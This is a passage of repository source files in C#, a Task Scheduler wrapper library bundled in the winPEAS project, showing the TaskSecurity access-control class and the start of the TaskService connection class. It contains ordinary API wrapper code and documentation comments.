cref=\"SecurityIdentifier\" /> or a type such as <see cref=\"NTAccount\" /> that can be converted to type <see cref=\"SecurityIdentifier\" />.</param>\n        /// <param name=\"eventRights\">A bitwise combination of <see cref=\"TaskRights\" /> values specifying the kinds of access to audit.</param>\n        /// <param name=\"flags\">The audit flags.</param>\n        public TaskAuditRule([NotNull] IdentityReference identity, TaskRights eventRights, AuditFlags flags)\n            : this(identity, (int)eventRights, false, InheritanceFlags.None, PropagationFlags.None, flags)\n        {\n        }\n\n        internal TaskAuditRule([NotNull] IdentityReference identity, int accessMask, bool isInherited, InheritanceFlags inheritanceFlags, PropagationFlags propagationFlags, AuditFlags flags)\n            : base(identity, accessMask, isInherited, inheritanceFlags, propagationFlags, flags)\n        {\n        }\n\n        /// <summary>\n        /// Gets the access rights affected by the audit rule.\n        /// </summary>\n        /// <value>\n        /// A bitwise combination of <see cref=\"TaskRights\"/> values that indicates the rights affected by the audit rule.\n        /// </value>\n        /// <remarks><see cref=\"TaskAuditRule\"/> objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule.</remarks>\n        public TaskRights TaskRights => (TaskRights)AccessMask;\n    }\n\n    /// <summary>\n    /// Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited.\n    /// </summary>\n    /// <remarks>\n    /// <para>A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a <see cref=\"TaskAccessRule\"/> object. Each auditing rule is represented by a <see cref=\"TaskAuditRule\"/> object.</para>\n    /// <para>This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A <see cref=\"TaskAccessRule\"/> or <see cref=\"TaskAuditRule\"/> object might represent more than one ACE.</para>\n    /// <para>Note</para>\n    /// <para>A <see cref=\"Task\"/> object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks.</para>\n    /// <para>The TaskSecurity, <see cref=\"TaskAccessRule\"/>, and <see cref=\"TaskAuditRule\"/> classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors:</para>\n    /// <list type=\"bullet\">\n    /// <item><description>Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users.</description></item>\n    /// <item><description>Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. </description></item>\n    /// <item><description>Manipulating security descriptor flags, which should be under resource manager control only.</description></item>\n    /// <item><description>Creating invalid combinations of ACE flags.</description></item>\n    /// <item><description>Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules.</description></item>\n    /// <item><description>Inserting meaningless ACEs into ACLs.</description></item>\n    /// </list>\n    /// <para>The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following:</para>\n    /// <list type=\"bullet\">\n    /// <item><description>Low-level tasks that are normally performed by the resource manager.</description></item>\n    /// <item><description>Adding or removing access control entries in ways that do not maintain the canonical ordering.</description></item>\n    /// </list>\n    /// <para>To modify Windows access control security for a task, use the <see cref=\"Task.GetAccessControl()\"/> method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the <see cref=\"Task.SetAccessControl\"/> method to reattach it. </para>\n    /// <para>Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the <see cref=\"Task.SetAccessControl\"/> method to assign the altered security object to the task.</para>\n    /// <para>To copy access control security from one task to another, use the <see cref=\"Task.GetAccessControl()\"/> method to get a TaskSecurity object representing the access and audit rules for the first task, then use the <see cref=\"Task.SetAccessControl\"/> method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task.</para>\n    /// <para>Users with an investment in the security descriptor definition language (SDDL) can use the <see cref=\"Task.SetSecurityDescriptorSddlForm\"/> method to set access rules for a task, and the <see cref=\"Task.GetSecurityDescriptorSddlForm\"/> method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development.</para>\n    /// </remarks>\n    public sealed class TaskSecurity : CommonObjectSecurity\n    {\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskSecurity\"/> class with default values.\n        /// </summary>\n        public TaskSecurity()\n            : base(false)\n        {\n        }\n\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskSecurity\" /> class with the specified sections of the access control security rules from the specified task.\n        /// </summary>\n        /// <param name=\"task\">The task.</param>\n        /// <param name=\"sections\">The sections of the ACL to retrieve.</param>\n        public TaskSecurity([NotNull] Task task, AccessControlSections sections = Task.defaultAccessControlSections)\n            : base(false)\n        {\n            SetSecurityDescriptorSddlForm(task.GetSecurityDescriptorSddlForm(Convert(sections)), sections);\n            this.CanonicalizeAccessRules();\n        }\n\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskSecurity\" /> class with the specified sections of the access control security rules from the specified task.\n        /// </summary>\n        /// <param name=\"folder\">The folder.</param>\n        /// <param name=\"sections\">The sections of the ACL to retrieve.</param>\n        public TaskSecurity([NotNull] TaskFolder folder, AccessControlSections sections = Task.defaultAccessControlSections)\n            : base(false)\n        {\n            SetSecurityDescriptorSddlForm(folder.GetSecurityDescriptorSddlForm(Convert(sections)), sections);\n            this.CanonicalizeAccessRules();\n        }\n\n        /// <summary>\n        /// Gets the enumeration that the <see cref=\"TaskSecurity\"/> class uses to represent access rights.\n        /// </summary>\n        /// <returns>A <see cref=\"Type\"/> object representing the <see cref=\"TaskRights\"/> enumeration.</returns>\n        public override Type AccessRightType => typeof(TaskRights);\n\n        /// <summary>\n        /// Gets the type that the TaskSecurity class uses to represent access rules.\n        /// </summary>\n        /// <returns>A <see cref=\"Type\"/> object representing the <see cref=\"TaskAccessRule\"/> class.</returns>\n        public override Type AccessRuleType => typeof(TaskAccessRule);\n\n        /// <summary>\n        /// Gets the type that the TaskSecurity class uses to represent audit rules.\n        /// </summary>\n        /// <returns>A <see cref=\"Type\"/> object representing the <see cref=\"TaskAuditRule\"/> class.</returns>\n        public override Type AuditRuleType => typeof(TaskAuditRule);\n\n        /// <summary>\n        /// Gets a <see cref=\"TaskSecurity\"/> object that represent the default access rights.\n        /// </summary>\n        /// <value>The default task security.</value>\n        public static TaskSecurity DefaultTaskSecurity\n        {\n            get\n            {\n                var ret = new TaskSecurity();\n                ret.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null), TaskRights.FullControl, AccessControlType.Allow));\n                ret.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null), TaskRights.Read | TaskRights.Write | TaskRights.Execute, AccessControlType.Allow));\n                ret.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.LocalServiceSid, null), TaskRights.Read, AccessControlType.Allow));\n                ret.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null), TaskRights.Read, AccessControlType.Allow));\n                ret.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.NetworkServiceSid, null), TaskRights.Read, AccessControlType.Allow));\n                return ret;\n            }\n        }\n\n        /// <summary>\n        /// Creates a new access control rule for the specified user, with the specified access rights, access control, and flags.\n        /// </summary>\n        /// <param name=\"identityReference\">An <see cref=\"IdentityReference\"/> that identifies the user or group the rule applies to.</param>\n        /// <param name=\"accessMask\">A bitwise combination of <see cref=\"TaskRights\"/> values specifying the access rights to allow or deny, cast to an integer.</param>\n        /// <param name=\"isInherited\">Meaningless for tasks, because they have no hierarchy.</param>\n        /// <param name=\"inheritanceFlags\">Meaningless for tasks, because they have no hierarchy.</param>\n        /// <param name=\"propagationFlags\">Meaningless for tasks, because they have no hierarchy.</param>\n        /// <param name=\"type\">One of the <see cref=\"AccessControlType\"/> values specifying whether the rights are allowed or denied.</param>\n        /// <returns>\n        /// The <see cref=\"T:System.Security.AccessControl.AccessRule\" /> object that this method creates.\n        /// </returns>\n        public override AccessRule AccessRuleFactory(IdentityReference identityReference, int accessMask, bool isInherited, InheritanceFlags inheritanceFlags, PropagationFlags propagationFlags, AccessControlType type) => new TaskAccessRule(identityReference, (TaskRights)accessMask, type);\n\n        /// <summary>\n        /// Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule.\n        /// </summary>\n        /// <param name=\"rule\">The access control rule to add.</param>\n        public void AddAccessRule([NotNull] TaskAccessRule rule)\n        {\n            base.AddAccessRule(rule);\n        }\n\n        /// <summary>\n        /// Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule.\n        /// </summary>\n        /// <param name=\"rule\">The audit rule to add. The user specified by this rule determines the search.</param>\n        public void AddAuditRule([NotNull] TaskAuditRule rule)\n        {\n            base.AddAuditRule(rule);\n        }\n\n        /// <summary>\n        /// Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule.\n        /// </summary>\n        /// <param name=\"identityReference\">An <see cref=\"IdentityReference\"/> that identifies the user or group the rule applies to.</param>\n        /// <param name=\"accessMask\">A bitwise combination of <see cref=\"TaskRights\"/> values specifying the access rights to audit, cast to an integer.</param>\n        /// <param name=\"isInherited\">Meaningless for tasks, because they have no hierarchy.</param>\n        /// <param name=\"inheritanceFlags\">Meaningless for tasks, because they have no hierarchy.</param>\n        /// <param name=\"propagationFlags\">Meaningless for tasks, because they have no hierarchy.</param>\n        /// <param name=\"flags\">One of the <see cref=\"AuditFlags\"/> values specifying whether to audit successful access, failed access, or both.</param>\n        /// <returns>\n        /// A <see cref=\"TaskAuditRule\"/> object representing the specified audit rule for the specified user. The return type of the method is the base class, <see cref=\"AuditRule\"/>, but the return value can be cast safely to the derived class.\n        /// </returns>\n        public override AuditRule AuditRuleFactory(IdentityReference identityReference, int accessMask, bool isInherited, InheritanceFlags inheritanceFlags, PropagationFlags propagationFlags, AuditFlags flags) => new TaskAuditRule(identityReference, accessMask, isInherited, inheritanceFlags, propagationFlags, flags);\n\n        /// <summary>\n        /// Searches for an access control rule with the same user and <see cref=\"AccessControlType\"/> (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it.\n        /// </summary>\n        /// <param name=\"rule\">A <see cref=\"TaskAccessRule\"/> that specifies the user and <see cref=\"AccessControlType\"/> to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found.</param>\n        /// <returns><c>true</c> if a compatible rule is found; otherwise <c>false</c>.</returns>\n        public bool RemoveAccessRule([NotNull] TaskAccessRule rule) => base.RemoveAccessRule(rule);\n\n        /// <summary>\n        /// Searches for all access control rules with the same user and <see cref=\"AccessControlType\"/> (allow or deny) as the specified rule and, if found, removes them.\n        /// </summary>\n        /// <param name=\"rule\">A <see cref=\"TaskAccessRule\"/> that specifies the user and <see cref=\"AccessControlType\"/> to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored.</param>\n        public void RemoveAccessRuleAll([NotNull] TaskAccessRule rule)\n        {\n            base.RemoveAccessRuleAll(rule);\n        }\n\n        /// <summary>\n        /// Searches for an access control rule that exactly matches the specified rule and, if found, removes it.\n        /// </summary>\n        /// <param name=\"rule\">The <see cref=\"TaskAccessRule\"/> to remove.</param>\n        public void RemoveAccessRuleSpecific([NotNull] TaskAccessRule rule)\n        {\n            base.RemoveAccessRuleSpecific(rule);\n        }\n\n        /// <summary>\n        /// Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it.\n        /// </summary>\n        /// <param name=\"rule\">A <see cref=\"TaskAuditRule\"/> that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found.</param>\n        /// <returns><c>true</c> if a compatible rule is found; otherwise <c>false</c>.</returns>\n        public bool RemoveAuditRule([NotNull] TaskAuditRule rule) => base.RemoveAuditRule(rule);\n\n        /// <summary>\n        /// Searches for all audit rules with the same user as the specified rule and, if found, removes them.\n        /// </summary>\n        /// <param name=\"rule\">A <see cref=\"TaskAuditRule\"/> that specifies the user to search for. Any rights specified by this rule are ignored.</param>\n        public void RemoveAuditRuleAll(TaskAuditRule rule)\n        {\n            base.RemoveAuditRuleAll(rule);\n        }\n\n        /// <summary>\n        /// Searches for an audit rule that exactly matches the specified rule and, if found, removes it.\n        /// </summary>\n        /// <param name=\"rule\">The <see cref=\"TaskAuditRule\"/> to remove.</param>\n        public void RemoveAuditRuleSpecific([NotNull] TaskAuditRule rule)\n        {\n            base.RemoveAuditRuleSpecific(rule);\n        }\n\n        /// <summary>\n        /// Removes all access control rules with the same user as the specified rule, regardless of <see cref=\"AccessControlType\"/>, and then adds the specified rule.\n        /// </summary>\n        /// <param name=\"rule\">The <see cref=\"TaskAccessRule\"/> to add. The user specified by this rule determines the rules to remove before this rule is added.</param>\n        public void ResetAccessRule([NotNull] TaskAccessRule rule)\n        {\n            base.ResetAccessRule(rule);\n        }\n\n        /// <summary>\n        /// Removes all access control rules with the same user and <see cref=\"AccessControlType\"/> (allow or deny) as the specified rule, and then adds the specified rule.\n        /// </summary>\n        /// <param name=\"rule\">The <see cref=\"TaskAccessRule\"/> to add. The user and <see cref=\"AccessControlType\"/> of this rule determine the rules to remove before this rule is added.</param>\n        public void SetAccessRule([NotNull] TaskAccessRule rule)\n        {\n            base.SetAccessRule(rule);\n        }\n\n        /// <summary>\n        /// Removes all audit rules with the same user as the specified rule, regardless of the <see cref=\"AuditFlags\"/> value, and then adds the specified rule.\n        /// </summary>\n        /// <param name=\"rule\">The <see cref=\"TaskAuditRule\"/> to add. The user specified by this rule determines the rules to remove before this rule is added.</param>\n        public void SetAuditRule([NotNull] TaskAuditRule rule)\n        {\n            base.SetAuditRule(rule);\n        }\n\n        /// <summary>\n        /// Returns a <see cref=\"System.String\" /> that represents this instance.\n        /// </summary>\n        /// <returns>\n        /// A <see cref=\"System.String\" /> that represents this instance.\n        /// </returns>\n        public override string ToString() => GetSecurityDescriptorSddlForm(Task.defaultAccessControlSections);\n\n        private static SecurityInfos Convert(AccessControlSections si)\n        {\n            SecurityInfos ret = 0;\n            if ((si & AccessControlSections.Audit) != 0)\n                ret |= SecurityInfos.SystemAcl;\n            if ((si & AccessControlSections.Access) != 0)\n                ret |= SecurityInfos.DiscretionaryAcl;\n            if ((si & AccessControlSections.Group) != 0)\n                ret |= SecurityInfos.Group;\n            if ((si & AccessControlSections.Owner) != 0)\n                ret |= SecurityInfos.Owner;\n            return ret;\n        }\n\n        private static AccessControlSections Convert(SecurityInfos si)\n        {\n            AccessControlSections ret = AccessControlSections.None;\n            if ((si & SecurityInfos.SystemAcl) != 0)\n                ret |= AccessControlSections.Audit;\n            if ((si & SecurityInfos.DiscretionaryAcl) != 0)\n                ret |= AccessControlSections.Access;\n            if ((si & SecurityInfos.Group) != 0)\n                ret |= AccessControlSections.Group;\n            if ((si & SecurityInfos.Owner) != 0)\n                ret |= AccessControlSections.Owner;\n            return ret;\n        }\n\n        private AccessControlSections GetAccessControlSectionsFromChanges()\n        {\n            AccessControlSections none = AccessControlSections.None;\n            if (AccessRulesModified)\n            {\n                none = AccessControlSections.Access;\n            }\n            if (AuditRulesModified)\n            {\n                none |= AccessControlSections.Audit;\n            }\n            if (OwnerModified)\n            {\n                none |= AccessControlSections.Owner;\n            }\n            if (GroupModified)\n            {\n                none |= AccessControlSections.Group;\n            }\n            return none;\n        }\n\n        /// <summary>\n        /// Saves the specified sections of the security descriptor associated with this <see cref=\"TaskSecurity\"/> object to permanent storage. We recommend that the values of the <paramref name=\"includeSections\"/> parameters passed to the constructor and persist methods be identical.\n        /// </summary>\n        /// <param name=\"task\">The task used to retrieve the persisted information.</param>\n        /// <param name=\"includeSections\">One of the <see cref=\"AccessControlSections\"/> enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save.</param>\n        [SecurityCritical]\n        internal void Persist([NotNull] Task task, AccessControlSections includeSections = Task.defaultAccessControlSections)\n        {\n            WriteLock();\n            try\n            {\n                AccessControlSections accessControlSectionsFromChanges = GetAccessControlSectionsFromChanges();\n                if (accessControlSectionsFromChanges != AccessControlSections.None)\n                {\n                    task.SetSecurityDescriptorSddlForm(GetSecurityDescriptorSddlForm(accessControlSectionsFromChanges));\n                    OwnerModified = GroupModified = AccessRulesModified = AuditRulesModified = false;\n                }\n            }\n            finally\n            {\n                WriteUnlock();\n            }\n        }\n\n        /// <summary>\n        /// Saves the specified sections of the security descriptor associated with this <see cref=\"TaskSecurity\" /> object to permanent storage. We recommend that the values of the <paramref name=\"includeSections\" /> parameters passed to the constructor and persist methods be identical.\n        /// </summary>\n        /// <param name=\"folder\">The task folder used to retrieve the persisted information.</param>\n        /// <param name=\"includeSections\">One of the <see cref=\"AccessControlSections\" /> enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save.</param>\n        [SecurityCritical]\n        internal void Persist([NotNull] TaskFolder folder, AccessControlSections includeSections = Task.defaultAccessControlSections)\n        {\n            WriteLock();\n            try\n            {\n                AccessControlSections accessControlSectionsFromChanges = GetAccessControlSectionsFromChanges();\n                if (accessControlSectionsFromChanges != AccessControlSections.None)\n                {\n                    folder.SetSecurityDescriptorSddlForm(GetSecurityDescriptorSddlForm(accessControlSectionsFromChanges));\n                    OwnerModified = GroupModified = AccessRulesModified = AuditRulesModified = false;\n                }\n            }\n            finally\n            {\n                WriteUnlock();\n            }\n        }\n\n        /// <summary>\n        /// Saves the specified sections of the security descriptor associated with this <see cref=\"T:System.Security.AccessControl.ObjectSecurity\" /> object to permanent storage. We recommend that the values of the <paramref name=\"includeSections\" /> parameters passed to the constructor and persist methods be identical. For more information, see Remarks.\n        /// </summary>\n        /// <param name=\"name\">The name used to retrieve the persisted information.</param>\n        /// <param name=\"includeSections\">One of the <see cref=\"T:System.Security.AccessControl.AccessControlSections\" /> enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save.</param>\n        protected override void Persist([NotNull] string name, AccessControlSections includeSections = Task.defaultAccessControlSections)\n        {\n            using (var ts = new TaskService())\n            {\n                var task = ts.GetTask(name);\n                Persist(task, includeSections);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskService.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing winPEAS.TaskScheduler.V1;\nusing winPEAS.TaskScheduler.V2;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Quick simple trigger types for the\n    /// <see cref=\"TaskService.AddTask(string,Trigger,TaskScheduler.Action,string,string,TaskLogonType,string)\"/> method.\n    /// </summary>\n    public enum QuickTriggerType\n    {\n        /// <summary>At boot.</summary>\n        Boot,\n\n        /// <summary>On system idle.</summary>\n        Idle,\n\n        /// <summary>At logon of any user.</summary>\n        Logon,\n\n        /// <summary>When the task is registered.</summary>\n        TaskRegistration,\n\n        /// <summary>Hourly, starting now.</summary>\n        Hourly,\n\n        /// <summary>Daily, starting now.</summary>\n        Daily,\n\n        /// <summary>Weekly, starting now.</summary>\n        Weekly,\n\n        /// <summary>Monthly, starting now.</summary>\n        Monthly\n    }\n\n    /// <summary>\n    /// Known versions of the native Task Scheduler library. This can be used as a decoder for the\n    /// <see cref=\"TaskService.HighestSupportedVersion\"/> and <see cref=\"TaskService.LibraryVersion\"/> values.\n    /// </summary>\n    public static class TaskServiceVersion\n    {\n        /// <summary>Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000).</summary>\n        [Description(\"Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000).\")]\n        public static readonly Version V1_1 = new Version(1, 1);\n\n        /// <summary>Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008).</summary>\n        [Description(\"Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008).\")]\n        public static readonly Version V1_2 = new Version(1, 2);\n\n        /// <summary>Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2).</summary>\n        [Description(\"Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2).\")]\n        public static readonly Version V1_3 = new Version(1, 3);\n\n        /// <summary>Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012).</summary>\n        [Description(\"Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012).\")]\n        public static readonly Version V1_4 = new Version(1, 4);\n\n        /// <summary>Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016).</summary>\n        [Description(\"Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016).\")]\n        public static readonly Version V1_5 = new Version(1, 5);\n\n        /// <summary>Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703).</summary>\n        [Description(\"Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703).\")]\n        public static readonly Version V1_6 = new Version(1, 6);\n    }\n\n    /// <summary>Provides access to the Task Scheduler service for managing registered tasks.</summary>\n    [Description(\"Provides access to the Task Scheduler service.\")]\n    [ToolboxItem(true), Serializable]\n    public sealed partial class TaskService : Component, ISupportInitialize, System.Runtime.Serialization.ISerializable\n    {\n        internal static readonly bool LibraryIsV2 = Environment.OSVersion.Version.Major >= 6;\n        internal static readonly Guid PowerShellActionGuid = new Guid(\"dab4c1e3-cd12-46f1-96fc-3981143c9bab\");\n        private static Guid CLSID_Ctask = typeof(CTask).GUID;\n        private static Guid IID_ITask = typeof(ITask).GUID;\n        [ThreadStatic]\n        private static TaskService instance;\n        private static Version osLibVer;\n\n        internal ITaskScheduler v1TaskScheduler;\n        internal ITaskService v2TaskService;\n        private bool connecting;\n        private bool forceV1;\n        private bool initializing;\n        private Version maxVer;\n        private bool maxVerSet;\n        private string targetServer;\n        private bool targetServerSet;\n        private string userDomain;\n        private bool userDomainSet;\n        private string userName;\n        private bool userNameSet;\n        private string userPassword;\n        private bool userPasswordSet;\n        private WindowsImpersonatedIdentity v1Impersonation;\n\n        /// <summary>Creates a new instance of a TaskService connecting to the local machine as the current user.</summary>\n        public TaskService()\n        {\n            ResetHighestSupportedVersion();\n            Connect();\n        }\n\n        /// <summary>Initializes a new instance of the <see cref=\"TaskService\"/> class.</summary>\n        /// <param name=\"targetServer\">\n        /// The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer.\n        /// </param>\n        /// <param name=\"userName\">\n        /// The user name that is used during the connection to the computer. If the user is not specified, then the current token is used.\n        /// </param>\n        /// <param name=\"accountDomain\">The domain of the user specified in the <paramref name=\"userName\"/> parameter.</param>\n        /// <param name=\"password\">\n        /// The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used.\n        /// </param>\n        /// <param name=\"forceV1\">If set to <c>true</c> force Task Scheduler 1.0 compatibility.</param>\n        public TaskService(string targetServer, string userName = null, string accountDomain = null, string password = null, bool forceV1 = false)\n        {\n            BeginInit();\n            TargetServer = targetServer;\n            UserName = userName;\n            UserAccountDomain = accountDomain;\n            UserPassword = password;\n            this.forceV1 = forceV1;\n            ResetHighestSupportedVersion();\n            EndInit();\n        }\n\n        private TaskService([NotNull] System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context)\n        {\n            BeginInit();\n            TargetServer = (string)info.GetValue(\"TargetServer\", typeof(string));\n            UserName = (string)info.GetValue(\"UserName\", typeof(string));\n            UserAccountDomain = (string)info.GetValue(\"UserAccountDomain\", typeof(string));\n            UserPassword = (string)info.GetValue(\"UserPassword\", typeof(string));\n            forceV1 = (bool)info.GetValue(\"forceV1\", typeof(bool));\n            ResetHighestSupportedVersion();\n            EndInit();\n        }\n\n        /// <summary>Delegate for methods that support update calls during COM handler execution.</summary>\n        /// <param name=\"percentage\">The percentage of completion (0 to 100).</param>\n        /// <param name=\"message\">An optional message.</param>\n        public delegate void ComHandlerUpdate(short percentage, string message);\n\n        /// <summary>Occurs when the Task Scheduler is connected to the local or remote target.</summary>\n        public event EventHandler ServiceConnected;\n\n        /// <summary>Occurs when the Task Scheduler is disconnected from the local or remote target.</summary>\n        public event EventHandler ServiceDisconnected;\n\n        /// <summary>Gets a local instance of the <see cref=\"TaskService\"/> using the current user's credentials.</summary>\n        /// <value>Local user <see cref=\"TaskService\"/> instance.</value>\n        public static TaskService Instance\n        {\n            get\n            {\n                if (instance is null)\n                {\n                    instance = new TaskService();\n                    instance.ServiceDisconnected += Instance_ServiceDisconnected;\n                }\n                return instance;\n            }\n        }\n\n        /// <summary>\n        /// Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any\n        /// compatibility level higher than this version.\n        /// </summary>\n        /// <value>The library version.</value>\n        /// <remarks>\n        /// The following table list the various versions and their host operating system:\n        /// <list type=\"table\">\n        /// <listheader>\n        /// <term>Version</term>\n        /// <term>Operating System</term>\n        /// </listheader>\n        /// <item>\n        /// <term>1.1</term>\n        /// <term>Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000).</term>\n        /// </item>\n        /// <item>\n        /// <term>1.2</term>\n        /// <term>Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008).</term>\n        /// </item>\n        /// <item>\n        /// <term>1.3</term>\n        /// <term>Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2).</term>\n        /// </item>\n        /// <item>\n        /// <term>1.4</term>\n        /// <term>Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012).</term>\n        /// </item>\n        /// <item>\n        /// <term>1.5</term>\n        /// <term>Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016).</term>\n        /// </item>\n        /// <item>\n        /// <term>1.6</term>\n        /// <term>Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703).</term>\n        /// </item>\n        /// </list>\n        /// </remarks>\n        [Browsable(false)]\n        public static Version LibraryVersion { get; } = Instance.HighestSupportedVersion;\n\n        /// <summary>\n        /// Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks.\n        /// </summary>\n        /// <value><c>true</c> if allow read only tasks; otherwise, <c>false</c>.</value>\n        [DefaultValue(false), Category(\"Behavior\"), Description(\"Allow tasks from later OS versions with new properties to be retrieved as read only tasks.\")]\n        public bool AllowReadOnlyTasks { get; set; }\n\n        /// <summary>Gets the name of the domain to which the <see cref=\"TargetServer\"/> computer is connected.</summary>\n        [Browsable(false)]\n        [DefaultValue(null)]\n        [Obsolete(\"This property has been superseded by the UserAccountDomin property and may not be available in future releases.\")]\n        public string ConnectedDomain\n        {\n            get\n            {\n                if (v2TaskService != null)\n                    return v2TaskService.ConnectedDomain;\n                var parts = v1Impersonation.Name.Split('\\\\');\n                if (parts.Length == 2)\n                    return parts[0];\n                return string.Empty;\n            }\n        }\n\n        /// <summary>Gets the name of the user that is connected to the Task Scheduler service.</summary>\n        [Browsable(false)]\n        [DefaultValue(null)]\n        [Obsolete(\"This property has been superseded by the UserName property and may not be available in future releases.\")]\n        public string ConnectedUser\n        {\n            get\n            {\n                if (v2TaskService != null)\n                    return v2TaskService.ConnectedUser;\n                var parts = v1Impersonation.Name.Split('\\\\');\n                if (parts.Length == 2)\n                    return parts[1];\n                return parts[0];\n            }\n        }\n\n        /// <summary>Gets the highest version of Task Scheduler that a computer supports.</summary>\n        /// <remarks>\n        /// The following table list the various versions and their host operating system:\n        /// <list type=\"table\">\n        /// <listheader>\n        /// <term>Version</term>\n        /// <term>Operating System</term>\n        /// </listheader>\n        /// <item>\n        /// <term>1.1</term>\n        /// <term>Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000).</term>\n        /// </item>\n        /// <item>\n        /// <term>1.2</term>\n        /// <term>Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008).</term>\n        /// </item>\n        /// <item>\n        /// <term>1.3</term>\n        /// <term>Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2).</term>\n        /// </item>\n        /// <item>\n        /// <term>1.4</term>\n        /// <term>Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012).</term>\n        /// </item>\n        /// <item>\n        /// <term>1.5</term>\n        /// <term>Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016).</term>\n        /// </item>\n        /// <item>\n        /// <term>1.6</term>\n        /// <term>Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703).</term>\n        /// </item>\n        /// </list>\n        /// </remarks>\n        [Category(\"Data\"), TypeConverter(typeof(VersionConverter)), Description(\"Highest version of library that should be used.\")]\n        public Version HighestSupportedVersion\n        {\n            get => maxVer;\n            set\n            {\n                if (value > GetLibraryVersionFromLocalOS())\n                    throw new ArgumentOutOfRangeException(nameof(HighestSupportedVersion), @\"The value of HighestSupportedVersion cannot exceed that of the underlying Windows version library.\");\n                maxVer = value;\n                maxVerSet = true;\n                var localForceV1 = value <= TaskServiceVersion.V1_1;\n                if (localForceV1 == forceV1) return;\n                forceV1 = localForceV1;\n                Connect();\n            }\n        }\n\n        /// <summary>Gets the root (\"\\\") folder. For Task Scheduler 1.0, this is the only folder.</summary>\n        [Browsable(false)]\n        public TaskFolder RootFolder => GetFolder(TaskFolder.rootString);\n\n        /// <summary>Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to.</summary>\n        [Category(\"Data\"), DefaultValue(null), Description(\"The name of the computer to 